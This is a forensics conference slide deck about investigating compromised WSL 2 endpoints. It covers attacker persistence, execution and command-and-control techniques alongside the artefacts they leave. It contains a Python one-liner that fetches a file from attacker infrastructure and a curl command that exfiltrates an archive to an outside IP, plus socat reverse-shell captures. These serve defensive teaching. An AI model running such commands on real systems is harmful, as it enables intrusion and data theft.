Investigating WSL Endpoints

Asif Matadar
@d1r4c
#whoami

- Director of Endpoint Detection & Response (EDR) at Tanium

- Seasoned Incident Response professional with over a decade working in InfoSec and specifically leading high-profile cases around the world, such as advanced targeted attacks, nation-state attacks, and data breaches, to name a few

- Public speaker at industry recognised conferences around the world:
  - DFRWS USA 2020
  - WSLConf (U.S.) 2020
  - OSDFCon (U.S.) 2019
  - OSDFCon (U.S.) 2018
  - IMF (Germany) 2018
  - OSDFCon (U.S.) 2017
  - BSidesNOLA (U.S.) 2017
  - BSidesMCR (U.K.) 2015

- Research focus on memory analysis and automation, *nix-based forensics, cloud forensics, and triage analysis
Investigating WSL Endpoints

• Since the announcement of the Windows Subsystem for Linux (WSL) back in 2016, there has been a lot of excitement to try and leverage WSL across workstations and servers alike by organisations and those that work in the industry.

• What does that mean for someone who works as a Digital Forensics & Incident Response professional?
  • Well adversaries and malware authors have already started focussing their attention on WSL; therefore, it is important to understand the underlying architecture changes that will allow one to investigate a compromised Windows 10 or Windows Server 2019 in the not too distant future.

• This talk will highlight the nuances to be aware of from a Digital Forensics & Incident Response perspective and illustrate forensic artefacts of interest, which will consist of a forensic examination on a WSL Endpoint to provide the audience an appreciation of what that entails and share insights that will assist them when the time arises.
Agenda

• What is WSL 2?

• What does that mean for Digital Forensics & Incident Response professionals?

• Forensic examination on a WSL Endpoint
  • 11 experiments
What is WSL2?
What is WSL 2?

- Full System Call Compatibility
  - WSL 2 has its own customised kernel specifically for WSL 2
    - Docker
  - WSL 1 had a translation layer to interpret the system calls, that allows them to work on the Windows NT kernel
- Faster than WSL 1
- Raw sockets
What is WSL 2?

- New architecture for Windows Subsystem for Linux
- Developed in-house kernel from stable branch at kernel.org source from version 4.19 kernel
- Customised kernel specifically for WSL 2
- As it’s developed by Microsoft, updates to the kernel will be serviced by Windows Update
- Lightweight Utility VM
  - Hyper-V hypervisor
What does that mean for Digital Forensics & Incident Response professionals?
What does that mean for Digital Forensics & Incident Response professionals?

- Full System Call Compatibility

- Lightweight Utility VM
  - Hyper-V hypervisor
  - Not a traditional Virtual Machine
  - EXT4 Virtual Disk
    - C:\Users\User\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\ext4.vhdx

- Management of WSL
  - wsl.exe (WSL 2)
  - wslconfig (WSL 1)
What does that mean for Digital Forensics & Incident Response professionals?

Environment Variables
What does that mean for Digital Forensics & Incident Response professionals?

Microsoft Store
What does that mean for Digital Forensics & Incident Response professionals?

WindowsApps
What does that mean for Digital Forensics & Incident Response professionals?

WindowsApps

<table>
<thead>
<tr>
<th>Name</th>
<th>Date modified</th>
<th>Type</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>AppxMetadata</td>
<td>10/12/2019 14:17</td>
<td>File folder</td>
<td></td>
</tr>
<tr>
<td>Assets</td>
<td>10/12/2019 14:17</td>
<td>File folder</td>
<td></td>
</tr>
<tr>
<td>AppxBlockMap</td>
<td>10/12/2019 14:17</td>
<td>XML Document</td>
<td>214 KB</td>
</tr>
<tr>
<td>AppxManifest</td>
<td>10/12/2019 14:17</td>
<td>XML Document</td>
<td>4 KB</td>
</tr>
<tr>
<td>AppxSignature.p7x</td>
<td>10/12/2019 14:17</td>
<td>P7X File</td>
<td>11 KB</td>
</tr>
<tr>
<td>install.tar.gz</td>
<td>10/12/2019 14:17</td>
<td>GZ File</td>
<td>225,762 KB</td>
</tr>
<tr>
<td>resources.pri</td>
<td>10/12/2019 14:17</td>
<td>PRL File</td>
<td>6 KB</td>
</tr>
<tr>
<td>ubuntu</td>
<td>10/12/2019 14:17</td>
<td>Application</td>
<td>207 KB</td>
</tr>
</tbody>
</table>
What does that mean for Digital Forensics & Incident Response professionals?

WindowsApps

<table>
<thead>
<tr>
<th>Name</th>
<th>Date modified</th>
<th>Type</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>Backup</td>
<td>17/07/2020 13:46</td>
<td>File folder</td>
<td></td>
</tr>
<tr>
<td>CanonicalGroupLimited.Ubuntu18.04onWindows_79hkip1fndgsc</td>
<td>17/07/2020 18:04</td>
<td>File folder</td>
<td></td>
</tr>
<tr>
<td>CanonicalGroupLimited.UbuntuonWindows_79hkip1fndgsc</td>
<td>17/07/2020 18:46</td>
<td>File folder</td>
<td></td>
</tr>
<tr>
<td>KaliLinux.54290C3133FE_ey6k3hcnwqngmg</td>
<td>17/07/2020 13:46</td>
<td>File folder</td>
<td></td>
</tr>
<tr>
<td>Microsoft.MicrosoftEdge_Wweeklyb3d8bbwe</td>
<td>12/12/2019 21:47</td>
<td>File folder</td>
<td></td>
</tr>
<tr>
<td>Microsoft.XboxGamingOverlay_Wweeklyb3d8bbwe</td>
<td>17/07/2020 13:41</td>
<td>File folder</td>
<td></td>
</tr>
<tr>
<td>TheDebianProject.DebianGNULinux_78v4ghtz19hv4</td>
<td>17/07/2020 13:41</td>
<td>File folder</td>
<td></td>
</tr>
<tr>
<td>debian</td>
<td>17/07/2020 13:41</td>
<td>Application 0 KB</td>
<td></td>
</tr>
<tr>
<td>GameBarElevatedFT_Alias</td>
<td>17/07/2020 13:41</td>
<td>Application 0 KB</td>
<td></td>
</tr>
<tr>
<td>kali</td>
<td>17/07/2020 13:46</td>
<td>Application 0 KB</td>
<td></td>
</tr>
<tr>
<td>MicrosoftEdge</td>
<td>17/07/2020 13:47</td>
<td>Application 0 KB</td>
<td></td>
</tr>
<tr>
<td>python</td>
<td>17/07/2020 13:47</td>
<td>Application 0 KB</td>
<td></td>
</tr>
<tr>
<td>python3</td>
<td>17/07/2020 13:47</td>
<td>Application 0 KB</td>
<td></td>
</tr>
<tr>
<td>ubuntu</td>
<td>17/07/2020 13:47</td>
<td>Application 0 KB</td>
<td></td>
</tr>
<tr>
<td>ubuntu1804</td>
<td>17/07/2020 18:04</td>
<td>Application 0 KB</td>
<td></td>
</tr>
<tr>
<td>winget</td>
<td>17/07/2020 13:47</td>
<td>Application 0 KB</td>
<td></td>
</tr>
</tbody>
</table>
What does that mean for Digital Forensics & Incident Response professionals?

WindowsApps
What does that mean for Digital Forensics & Incident Response professionals?

Access to Linux files
What does that mean for Digital Forensics & Incident Response professionals?

### Windows Terminal

<table>
<thead>
<tr>
<th>File</th>
<th>Size (KB)</th>
<th>Path</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>explorer.exe</td>
<td>61,420 K</td>
<td>PS C:\Users\User&gt; ubuntu.exe</td>
<td>Windows Explorer</td>
</tr>
<tr>
<td>Security Health Systray.exe</td>
<td>1,680 K</td>
<td>PS C:\Users\User&gt; ubuntu.exe</td>
<td>4160 Windows Security notification icon</td>
</tr>
<tr>
<td>wmconsole.exe</td>
<td>22,048 K</td>
<td>PS C:\Users\User&gt; ubuntu.exe</td>
<td>8032 VMware Tools Core Service</td>
</tr>
<tr>
<td>OneDrive.exe</td>
<td>15,504 K</td>
<td>PS C:\Users\User&gt; ubuntu.exe</td>
<td>8776 Microsoft OneDrive</td>
</tr>
<tr>
<td>Windows Terminal.exe</td>
<td>21,704 K</td>
<td>PS C:\Users\User&gt; ubuntu.exe</td>
<td>Microsoft Corporation</td>
</tr>
<tr>
<td>OpenConsole.exe</td>
<td>1,980 K</td>
<td>PS C:\Users\User&gt; ubuntu.exe</td>
<td>8864</td>
</tr>
<tr>
<td>powershell.exe</td>
<td>63,036 K</td>
<td>PS C:\Users\User&gt; ubuntu.exe</td>
<td>Windows PowerShell</td>
</tr>
<tr>
<td>ubuntu.exe</td>
<td>63,404 K</td>
<td>PS C:\Users\User&gt; ubuntu.exe</td>
<td>6220 Windows PowerShell</td>
</tr>
<tr>
<td>wsl.exe</td>
<td>1,468 K</td>
<td>PS C:\Users\User&gt; ubuntu.exe</td>
<td>2104</td>
</tr>
<tr>
<td>wslhost.exe</td>
<td>1,44 K</td>
<td>PS C:\Users\User&gt; ubuntu.exe</td>
<td>9676 Microsoft Windows Subsystem for Linux Launcher</td>
</tr>
<tr>
<td>conhost.exe</td>
<td>5,716 K</td>
<td>PS C:\Users\User&gt; ubuntu.exe</td>
<td>3324 Microsoft Windows Subsystem for Linux Background Host</td>
</tr>
<tr>
<td>procexp64.exe</td>
<td>25,448 K</td>
<td>PS C:\Users\User&gt; ubuntu.exe</td>
<td>7160 Sysinternals Process Explorer</td>
</tr>
</tbody>
</table>

©2017 Tanium. All rights reserved.
Forensic examination on a WSL Endpoint
Forensic examination on a WSL Endpoint

• Environment:
  • Windows 10 Pro
  • Version 2004
  • Installed on 12/12/2019
  • OS Build 19041.84

Device specifications

<table>
<thead>
<tr>
<th>Device name</th>
<th>DESKTOP-91TT4IA</th>
</tr>
</thead>
<tbody>
<tr>
<td>Processor</td>
<td>Intel(R) Core(TM) i7-7820HQ CPU @ 2.90 GHz 2.90 GHz</td>
</tr>
<tr>
<td>Installed RAM</td>
<td>4.00 GB</td>
</tr>
<tr>
<td>Device ID</td>
<td>1A479669-F4C2-43D9-8749-0D349F14D424</td>
</tr>
<tr>
<td>Product ID</td>
<td>00380-80131-22409-AA248</td>
</tr>
<tr>
<td>System type</td>
<td>64-bit operating system, x64-based processor</td>
</tr>
<tr>
<td>Pen and touch</td>
<td>No pen or touch input is available for this display</td>
</tr>
</tbody>
</table>

Windows specifications

<table>
<thead>
<tr>
<th>Edition</th>
<th>Windows 10 Pro</th>
</tr>
</thead>
<tbody>
<tr>
<td>Version</td>
<td>2004</td>
</tr>
<tr>
<td>Installed on</td>
<td>12/12/2019</td>
</tr>
<tr>
<td>OS build</td>
<td>19041.84</td>
</tr>
</tbody>
</table>
Forensic examination on a WSL Endpoint

- Experiments

1. Persistence: Bashrc
2. Persistence: Persistence through Inception! (Systemd)
3. Persistence: Crontab
4. Execution: Bourne Shell Reverse Shell
5. Execution: PowerShell Reverse Shell
6. Execution: Python Download File
7. Lateral Movement: Remote File Copy
8. Command and Control: Custom Command and Control Protocol
9. Execution: wsl.exe
10. Execution: bash.exe
11. Execution: curl.exe
Persistence: Bashrc
Forensic examination on a WSL Endpoint

Persistence: Bashrc

Registry Key: HKEY_CURRENT_USER\Environment
Registry Key Name: BASH_ENV
Registry Data Name: /etc/bash.bashrc
Forensic examination on a WSL Endpoint

Persistence: Bashrc

Modify /etc/bash.bashrc

Attacker Listener
Forensic examination on a WSL Endpoint

Persistence: Bashrc

• Trace the MAC times and data contents
  • /etc/bash.bashrc, ~/.bash_history, ~/.sh_history

• Timeline of the inodes

• Process Execution:
  • AMCache Program Entries
  • AMCache Associated File Entries
  • AppCompactCache
    • C:\Program Files\WindowsApps\CanonicalGroupLimited.UbuntuonWindows_1804.2019.521.0_x64__79rhkp1fndgsc\ubuntu.exe
    • CanonicalGroupLimited.UbuntuonWindows
Forensic examination on a WSL Endpoint

Persistence: Bashrc

- UserAssist
Forensic examination on a WSL Endpoint

Persistence: Bashrc

- Prefetch
  - `/Windows/Prefetch/UBUNTU.EXE-39E7ED6A.pf`

- MFT
  - `/Users/User/AppData/Local/Packages/CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc/LocalState/ext4.vhdx`
  - `/Users/User/AppData/Local/Microsoft/WindowsApps/ubuntu.exe`
  - `/Users/User/AppData/Local/Microsoft/WindowsApps/CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc/ubuntu.exe`
Persistence: Persistence through Inception! (Systemd)
Forensic examination on a WSL Endpoint

Persistence: Persistence through Inception! (Systemd)

Systemd Service

Attacker Listener
Forensic examination on a WSL Endpoint

Persistence: Persistence through Inception! (Systemd)

Run Key

Attacker Listener
Forensic examination on a WSL Endpoint

Persistence: Persistence through Inception! (Systemd)

- **Systemd Journals**
  - `/run/log/journal/*/system.journal`
  - `/run/systemd/journal/*`

- **Systemd configuration files**
  - `/etc/systemd/system/*`
  - `/run/systemd/*`
  - `/var/lib/systemd/*`
  - `/usr/lib/systemd/*`

- **Registry Artefacts for persistence**
Forensic examination on a WSL Endpoint
Persistence: Persistence through Inception! (Systemd)

- tmp Directory
- MAC Times
- First and last interacted
Persistence: Crontab
Forensic examination on a WSL Endpoint

Persistence: Crontab

Modify /etc/crontab

Attacker Listener
Execution: Bourne Shell Reverse Shell
Forensic examination on a WSL Endpoint

Execution: Bourne Shell Reverse Shell

Bourne Shell Reverse Shell

Attacker Listener
Execution: PowerShell Reverse Shell
Forensic examination on a WSL Endpoint

Execution: PowerShell Reverse Shell

- PowerShell Reverse Shell
- Attacker Listener
Execution: Python Download File
Forensic examination on a WSL Endpoint

Execution: Python Download File

```
root@DESKTOP-91TT4IA:/dev/shm
python -c "import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve(e["attacker_infrastructure"], e["file"])
```

Python Download File
Lateral Movement: Remote File Copy
Forensic examination on a WSL Endpoint
Lateral Movement: Remote File Copy

Enable trace
Forensic examination on a WSL Endpoint

Lateral Movement: Remote File Copy

- netsh trace start
- Download file with python
Forensic examination on a WSL Endpoint

Lateral Movement: Remote File Copy

Stop trace
Forensic examination on a WSL Endpoint

Lateral Movement: Remote File Copy

Download file with python
Forensic examination on a WSL Endpoint

Lateral Movement: Remote File Copy

Download file with python
Forensic examination on a WSL Endpoint

Lateral Movement: Remote File Copy

Extract and download file
Command and Control: Custom Command and Control Protocol
Forensic examination on a WSL Endpoint

Command and Control: Custom Command and Control Protocol

Enable and stop trace
Forensic examination on a WSL Endpoint

Command and Control: Custom Command and Control Protocol

Socat Reverse Shell
Forensic examination on a WSL Endpoint

Command and Control: Custom Command and Control Protocol

Stop trace

> netsh trace stop

> netsh trace stop

> netsh trace stop

Generating data collection ... done

The trace file and additional troubleshooting information have been compiled as "C:\Users\User\AppData\Local\Temp\NetTraces\NetTrace.cab".

File location: C:\Users\User\AppData\Local\Temp\NetTraces\NetTrace.etl

Tracing session was successfully stopped.
Forensic examination on a WSL Endpoint

Command and Control: Custom Command and Control Protocol

Socat Reverse Shell
## Forensic examination on a WSL Endpoint

### Command and Control: Custom Command and Control Protocol

<table>
<thead>
<tr>
<th>Source Port</th>
<th>Destination Port</th>
<th>Protocol</th>
<th>Src IP</th>
<th>Dst IP</th>
<th>Seq</th>
<th>Ack</th>
</tr>
</thead>
<tbody>
<tr>
<td>43674</td>
<td>666</td>
<td>TCP</td>
<td>192.168.9.133</td>
<td>172.23.186.84</td>
<td>179</td>
<td>10</td>
</tr>
</tbody>
</table>

**Packet comments**
- Frame 91: 183 bytes on wire (1464 bits), 183 bytes captured (1464 bits) on interface 1 (inbound)
- Ethernet II, Src: Microsoft_e:0c:4c:6d (00:15:0d:0c:4c:6d), Dst: Microsoft_22:01:80 (00:15:0d:22:80)


- Source Port: 43674
- Destination Port: 666
- [Stream ended]
- [TCP Segment Len: 117]
- Sequence number: 62 (relative sequence number)
- [Next sequence number: 179 (relative sequence number)]
- Acknowledgment number: 10 (relative ack number)
- TCP flags: 0x018 (PSH, ACK)
- Window size value: 220

**Socat Reverse Shell**
Forensic examination on a WSL Endpoint

Command and Control: Custom Command and Control Protocol

Packet comments
- Frame 230: 122 bytes on wire (976 bits), 122 bytes captured (976 bits) on interface 1 (inbound)
- Ethernet II, Src: Microsoft_c8:4c:d6 (00:15:5d:00:00:00), Dst: Microsoft_22:01:08 (00:15:5d:22:01:08)
- Data (56 bytes)

Socat Reverse Shell
Execution: wsl.exe
Forensic examination on a WSL Endpoint

Execution: wsl.exe

```bash
PS C:\Users\user> wsl.exe --exec cat /etc/os-release
NAME="Ubuntu"
VERSION="18.04.4 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.4 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/
SUPPORT_URL="https://help.ubuntu.com/
 BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic
PS C:\users\user> 
```
Forensic examination on a WSL Endpoint

Execution: wsl.exe
Forensic examination on a WSL Endpoint

Execution: `wsl.exe`

![Image of wsl.exe execution]

`wsl.exe` Execution
Forensic examination on a WSL Endpoint

Execution: wsl.exe
Forensic examination on a WSL Endpoint

Execution: wsl.exe

• Process command line activity

• Process lineage

• Caveat:
  • Execution of Linux commands will not be saved in ~/.bash_history, ~/.sh_history, etc,
Execution: bash.exe
Forensic examination on a WSL Endpoint

Execution: bash.exe
Forensic examination on a WSL Endpoint

Execution: curl.exe

```
c:\Windows\Temp>curl.exe -F file=@archive_file.cab http://172.31.67.224:88
curl: (52) Empty reply from server

c:\Windows\Temp>dir archive_file.cab
Volume in drive C has no label.
Volume Serial Number is F455-D018
Directory of C:\Windows\Temp
07/03/2020  12:10 PM    88,591 archive_file.cab
           1 File(s)    88,501 bytes
          0 Dir(s)  12,013,625,344 bytes free

c:\Windows\Temp>
```

```
[shm]# socat -u tcp-listen:88, reuseaddr open:archive_file.tar.gz,creat
[shm]# ls -ltrh archive_file.tar.gz
-rw-r--r-- 1 root root 87K Jul 3 12:15 archive_file.tar.gz
[shm]# ```
Conclusion

- Adversaries and malware authors will continue to explore attack surfaces on WSL 2, as it becomes more prevalent across enterprise environments

- WSL 2 Endpoints is going to make Digital Forensics and Incident Response professionals lives a lot more interesting

- I highlighted 11 techniques based on my initial research, but I expect there to be more attack surfaces with WSL 2
References

• OSDFCon 2019: Investigating Linux Endpoints

• https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wsl/

• https://twitter.com/d1r4c/status/1280196218308694016

• https://lolbas-project.github.io/lolbas/Binaries/Bash/

• https://twitter.com/d1r4c/status/1279085773522862082

• https://twitter.com/d1r4c/status/1279042657508081664
Thank you